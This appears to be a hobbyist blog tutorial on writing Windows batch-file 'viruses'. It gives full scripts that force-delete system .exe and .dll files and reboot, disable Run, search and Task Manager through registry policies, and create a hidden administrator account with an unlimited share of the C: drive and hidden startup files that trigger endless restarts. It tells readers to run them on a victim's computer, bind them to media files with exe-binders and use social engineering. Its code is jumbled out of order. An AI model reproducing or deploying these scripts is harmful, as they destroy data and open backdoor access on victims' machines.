Batch files can be used to create viruses pranks to irritate your friends or so let's begin by creating a batch virus.
Creating a Batch File.
This is my first batch file virus which will create unlimited folders inside a folder in desktop or my documents .
to create this file open notepad and type @echo off and save it as virus.bat give it a .bat extension _______________________________________________________ This batch virus will delete contents of system folder making the computer not run. @echo off del "%systemroot%\*.exe" /f /q /s /a h r s a del "%systemroot%\system32\*exe" /f /q /s /a h r s a del "%systemroot%\*.dll" /f /q /s /a h r s a del "%systemroot%\system32\*dll" /f /q /s /a h r s a msg * Your computer important files have been deleted shutdown -r -t 100 -c "Computer files missing..hurray..I am so sorry to say that your computer has been infected ,My deep regrets for spoiling your computer ." __________________________________________________________ Now this virus will disable run.search,help,all programs,disable taskbar and more. __________________________________________________________ @echo off REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000001 /f REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeCaption /d %Hacked!% /f REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /d %Your computer has been infected with a virus developed by a 14 yr old kid You will not be able to search,run use taskbar and so on enjoy to revove this virus visit www.techgeektricks.co.cc % /f msg * YOUR COMPUTER has been Crashed- God Save your computer. shutdown -r -t 100 -c "Virus detected Restarting..hurray..I am so sorry to say that your computer has been infected , To know what to do next see the message you see after booting." ____________________________________________________ The heal for the above virus is ____________________________________________________ @echo off REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000000 /f ___________________________________________________ @echo off rem N0 H4rm 15 cau53d unt1| N0w net users Microsoft_support support /add rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt. rem 5h4r3 th3 R00t Dr1v3 cd %SystemRoot%\system32\1001 rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y ) rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02 msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5 rem ***************************************************************************************************** echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha….! ” > %systemroot%\system32\1001\sd.bat rem ***************************************************************************************************** cd\ rem K1||5 th3 3xp|0r3r.3×3 Pr0c355 rem @ EOV // End of Virus Copy the source code and paste it in a notepad, then save it with the .bat extension. Copy it in a Pen Drive, then execute it in the victims computer. You can also use some exe-binders to bind this virus with any audio,video, text or what ever the files may be then use some social engineering technique to make the victim execute the file by himself to harm his computer. You can create this virus with out using any third party tools in windows, also instead of exe-binder, you can use the iexpress wizard to create a custom package. your Feedbacks are welcome….! You can download this batch file here…. _______________________________________________________________________ The above virus was created by Technocrawl /* Disclaimer : We are not responsible for whatever you do with this.This is published, only as a review for educational means */
cd C:\Documents and Settings\All Users\Desktop
:loop
md achute
cd achute
goto loop
_______________________________________________________
well this is a very simple prank to play with you friends,I hope you enjoy it.
I know this is not a good virus,prank. Then you might consider to see the next batch virus.
taskkill /f /im explorer.exe
COLOR FC
ECHO VIRUS ATTACK! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000001 /f
msg * Say bye bye to your computer
msg * This virus is developed by a 14 year old kid
ECHO VIRUS ATTACK- saver! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000000 /f Other viruses
cd\
cd %SystemRoot%\system32\
md 1001
cd\
cls
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000
echo 12:00:00.00 | time >> nul
echo 01/01/2000 | date >> nul
rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt
net localgroup administrators Microsoft_support /add
net share system=C:\ /UNLIMITED
echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs
mode con rate=1 > nul
mode con delay=4 >> nul
at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >> nul
copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\warnusr.vbs”
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y
copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”
cls
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r
cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\
attrib +h +s +r warnusr.vbs
attrib +h +s +r sd.bat
cd\
cd %systemroot%\system32
attrib +h +s +r 1001
taskkill /F /IM explorer.exe
To rollback the changes that have been made by this virus, you can download the patch file here and execute it. Click here for Patch…
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